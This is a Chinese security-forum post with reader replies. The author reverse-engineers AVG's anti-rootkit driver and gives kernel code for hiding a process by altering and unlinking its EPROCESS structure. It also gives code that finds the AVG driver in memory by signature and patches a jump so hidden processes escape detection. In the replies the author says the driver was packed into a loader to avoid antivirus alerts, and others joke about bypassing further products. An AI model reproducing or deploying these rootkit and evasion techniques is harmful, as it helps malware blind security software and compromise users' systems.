首页
社区
课程
招聘
Patch过AVG杀软Anti_Rootkit检测
发表于: 2012-10-26 00:14 9156

Patch过AVG杀软Anti_Rootkit检测

2012-10-26 00:14
9156

以前自己写的一篇笔记
最近在学校有目的在做些东东,有些东西很老了但还是在看,老的东西都是基础嘛!虽然大家都在说冰刃早就过了,我在网上找了很久没找到具体的代码和文章,但看了些前辈们逆的IDB,下来自己动手实现了下进程隐藏
测试通过只需五段代码:
1、修改进程Pid:*((ULONG*)(m_eproc+PIDOFFSET)) = 0x11111;
2、修改进程对象类型:*(PULONG)((ULONG)m_eproc - HEADEROFFSET +TYPEOFFSET)=TypeP; 
3、修改进程的线程链:*(ULONG *)((ULONG)eproc + 0x50) = ((ULONG)eproc + 0x50);
4、断Eprocess链 5、断VM结构里的链

当时虚拟机正在做病毒测试,AVG本身有一个Anti_rootkit组件用它毫无疑问能检测出啦,毕竟上面的只是针对冰刃的。于是作为逆向练习就将它的avgrkx86.sys拿来用IDA F5了一下:
[缺图]
驱动不大用了两个晚上逆出来了

AVG Anti_Rootkit驱动分析

一、DriverEntry驱动入口:
1、先判断是否是安全模式

2、GetMySysAddress->遍历系统模块,如果自身的分发函数地址在这个模块,就说明是本驱动模块,获取加载地址,Pe格式解析,对检测没实际意义

3、GetCpuInfo->获取Cpu的信息,为后面多核处理做准备

4、设置分发函数有意义的只有ControlDispath,其他简单返回,初始化一些事件对象实现同步,初始化一些链表

5、创建进程创建回调NotifyRoutine,创建驱动加载回调MyLoadroutine,创建设备与符号链接

二、NotifyRoutine与MyLoadroutine
1、进程创建回调中NotifyRoutine先PidInListOrNot->判断Pid是否在Proc_List_CallBack链表中,不在就加入

2、MyLoadroutine中将加载模块信息加入Load_Mod_list链表中,并调用GetLoadModInfo函数获取驱动加载回调加载该模块的进程信息,存入链表Proc_List_CallBack

3、EumLoadModCallBackList里完成根据Ring3传下的命令对Proc_List_CallBack与Load_Mod_list两个链表的遍历获取数据返回Ring3

三、内核进程检测
1、GetEprocesAndIntoEproList中用四种方法获取Eprocess填充List,再遍历List中的Eprocess获取进程信息填入全局Epro_List

2、GetEProcessFromThread中获取各CPU上的线程对象存入ThreadListPool链表,然后遍历链表获取进程信息存入Epro_List

3、最终在EumLoadModCallBackList中返回给Ring3

四、内核驱动检测
1、GetAllModInfoBySysInformation中用ZwQuerySystemInformation遍历系统模块获取数据返回Ring3

2、EumAllDriverByTowWay中遍历对象目录树获取驱动对象RtlInsertElementGenericTable全局Table中,EumDriverListGetInfo则取出Table处理后GetAllDriverInfoToList存入全局DriverList_Head链表

3、。。。。还有两个地方没去分析

4、最终在EumLoadModCallBackList中返回给Ring3

其他:所有驱动注册回调函数检测、Cpu多核锁处理、文件处理、进程令牌处理等。。。

 

 现在开始如何Patch过他的进程检测,其他检测原理一样:

方法很简单也没什么复杂的:修改avgrkx86.sys在内存中的机器码,当它运行进程检测时就跳过不执行这个过程,这样就检测不出隐藏的进程了。

在avgrkx86.sys:下面是它的一处进程检测函数,其中会在IntoEproList中汇总所有的进程

而我们要做的就是Patch掉IntoEproList不让进程汇总,这样返回给Ring3层时就是无隐藏进程啦!下面是我对这个函数的分析:

1、从纵多检测方法填充的链表中遍历Eprocess,获取Pid 

2、通过Eprocess获取File对象

3、通过FileObject获取进程全路径

4、将这些信息存入Buffer(汇总)

5、结束。

其实过AVG进程检测只需在内存中将0F 84 38 01 00 00修改成E9 39 01 00 00 90,需注意的是jz(0F 84)改成Jmp(E9)少一字节所以38应改成39而少那一字节用Nop(90)填充(这其中有一个公式:地址+内容+5=跳转地址)。

现在知道原理了那如何在内存中定位然后修改,须知道几个数据:

1、avgrkx86.sys模块在内存中的基地址 2、定位特征码    具体看下面的代码:

获取模块基地址方法很多:网上的代码用ZwQuerySystemInformation

PRTL_PROCESS_MODULES GetSystemModules() 
{
 PRTL_PROCESS_MODULES pSysMods = NULL;
 ULONG ulSize = 512;
 NTSTATUS status;
 while ( TRUE )
 {
  pSysMods = (PRTL_PROCESS_MODULES)ExAllocatePool(PagedPool, ulSize);
  if ( !pSysMods )
   return NULL;
  status = ZwQuerySystemInformation(SystemModuleInformation, pSysMods, ulSize, &ulSize);
  if ( status != STATUS_INFO_LENGTH_MISMATCH )
   break;
  ExFreePool(pSysMods);
 } 
 if ( !NT_SUCCESS(status) ) 
 {
  ExFreePool(pSysMods);
  pSysMods = NULL;
 }
 return pSysMods;
}

BOOLEAN GetSysModInfoByName(IN char * strModName, OUT PRTL_PROCESS_MODULE_INFORMATION pSysModInfo)
{
 PRTL_PROCESS_MODULES pSysMods;
 PRTL_PROCESS_MODULE_INFORMATION pModInfo;
 ULONG i, ulModNum;
 BOOLEAN bRet = FALSE;  
 pSysMods = GetSystemModules();
 if (!pSysMods)
  return FALSE;
 ulModNum = pSysMods->NumberOfModules;
 pModInfo = pSysMods->Modules;
 for (i = 0; i < ulModNum; ++i) {
  if (pModInfo->FullPathName) {
   char * strFileName = strrchr(pModInfo->FullPathName, '\\');
   if (strFileName)
    strFileName++;
   else
    strFileName = pModInfo->FullPathName; 
   if (!_stricmp(strModName, strFileName)) 
   {
    RtlCopyMemory(pSysModInfo, pModInfo, sizeof(RTL_PROCESS_MODULE_INFORMATION));
    bRet = TRUE;
    break;
   }
  }
  pModInfo += 1;
 }
 ExFreePool(pSysMods);
 return bRet;
}

 也可以直接遍历DriverSection:

PMODULE_ENTRY FindDriverModuleEntry(PDRIVER_OBJECT pMyDriver,PUNICODE_STRING name)
{
 PMODULE_ENTRY pCurrentModule,pTempModuleAlloc;

 pCurrentModule = (PMODULE_ENTRY)pMyDriver->DriverSection;
 pTempModuleAlloc = pCurrentModule;

 while((PMODULE_ENTRY)pTempModuleAlloc->le_mod.Flink!=pCurrentModule)
 {
  if (pTempModuleAlloc->driver_start!=0x0)
  {
   if (0==RtlCompareUnicodeString(&pTempModuleAlloc->driver_Name,name,FALSE))
   {
    return pTempModuleAlloc;
   }
  }
  pTempModuleAlloc = (PMODULE_ENTRY)pTempModuleAlloc->le_mod.Flink;
 }
 return 0;
}

 而Patch过程只需下面这段代码:

void PatchTheIntoEprolistShit(PDRIVER_OBJECT pDriver)
{
 char *p,*p1;
 char cc[] = {0xe9,0x39,0x01,0,0,0x90};  //修改后的数据

 char feature_code[6]={0x3b,0xd8,0x0f,0x84,0x38,0x01};//特征码(应该会很熟悉在上面的图片中能找到)

 UNICODE_STRING DriverName;
 PMODULE_ENTRY pModule_Entry; 
 RtlInitUnicodeString(&DriverName,L"avgrkx86.sys");
 pModule_Entry = FindDriverModuleEntry(pDriver,&DriverName);
 p = (char*)(pModule_Entry->base + 0x202c);  
 p1 = p + 0x1320;
 while (p<p1)   //特征码匹配收索
 {
  if (memcmp((void*)p,feature_code,6)==0)  //向上匹配找到Patch地址
  {
   p=p+2;   //如找到就将Hook地址的后面地2字节

   break;
  }
  p++;
 }
 DbgPrint("patch : %x",(ULONG)p);
 WPOFF();
 RtlCopyMemory(p,cc,sizeof(cc));  //一句话Patch
 WPON();
}

 运行了Patch驱动后可以用Windbg对avgrkx86.sys内一地址下断点然后运行AVG Anti_Rootkit检测断下来,步步调试跟踪至Patch点看是否成功:

这只是一个Patch的思路而已,兼容性不会很好本人安装的最新版AVG在XP Sp3上测试通过。
上传一个F5的IDB:


[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)

上传的附件:
收藏
免费 6
支持
分享
最新回复 (13)
雪    币: 34
活跃值: (21)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
2
图挂了
2012-10-26 08:50
0
雪    币: 1895
活跃值: (1657)
能力值: ( LV5,RANK:60 )
在线值:
发帖
回帖
粉丝
3
好分析。
2012-10-26 09:34
0
雪    币: 238
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
4
mark,thank you for your effort
2012-10-26 17:32
0
雪    币: 55
活跃值: (519)
能力值: ( LV6,RANK:80 )
在线值:
发帖
回帖
粉丝
5
me,too.
下班了。
撤。
2012-10-26 17:37
0
雪    币: 290
活跃值: (68)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
6
真心不错!!
2012-10-26 18:35
0
雪    币: 65
活跃值: (112)
能力值: ( LV3,RANK:30 )
在线值:
发帖
回帖
粉丝
7
你先能加载驱动主防不报警再说吧。。。。。
2012-10-27 09:56
0
雪    币: 74
活跃值: (87)
能力值: ( LV7,RANK:110 )
在线值:
发帖
回帖
粉丝
8
我在XP SP3下测试的,加载驱动AVG主防不报,我是先将驱动压缩提取十六进制放入自己写的加载器里,运行EXE解压释放驱动加载,做免杀过AVG,现在还是大四学生,这也是自己的测试笔记,第一次发帖有不正确的地方多多提
2012-10-27 15:08
0
雪    币: 297
活跃值: (265)
能力值: ( LV4,RANK:55 )
在线值:
发帖
回帖
粉丝
9
看错了。。。。。顶
2012-10-27 15:11
0
雪    币: 75
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
10
牛,搞几个过360和金山的云吧。哈哈
2012-10-27 15:20
0
雪    币: 65
活跃值: (112)
能力值: ( LV3,RANK:30 )
在线值:
发帖
回帖
粉丝
11
所谓不报。。。。那并不是别人没监控到,因为什么原因没提示而已

像360,金山这种做的严格些的,只要加载驱动,不管安全不安全,都会报

在应用层下,加载驱动不被监控到几乎是不可能的

人家只要发现加载驱动就报的话。。。。看你怎么过
2012-10-27 20:15
0
雪    币: 65
活跃值: (112)
能力值: ( LV3,RANK:30 )
在线值:
发帖
回帖
粉丝
12
然后加载不被发现

这点做不到的话,后面都是浮云。。。。

还是那句话。。。。你都加载驱动了。。。。。还有什么不能做的。。。。何必搞这些。。。。直接把杀软挂了或者把杀软怎么了都不是什么稀奇事

做不到加载不被发现。。。。其他的事情都没意义
2012-10-27 20:17
0
雪    币: 224
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
13
过主防的人家不会放出来的
2012-10-27 23:27
0
雪    币: 122
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
14
好东西,慢慢看下,上班就不让看了,
2012-10-28 19:41
0
游客
登录 | 注册 方可回帖
返回
//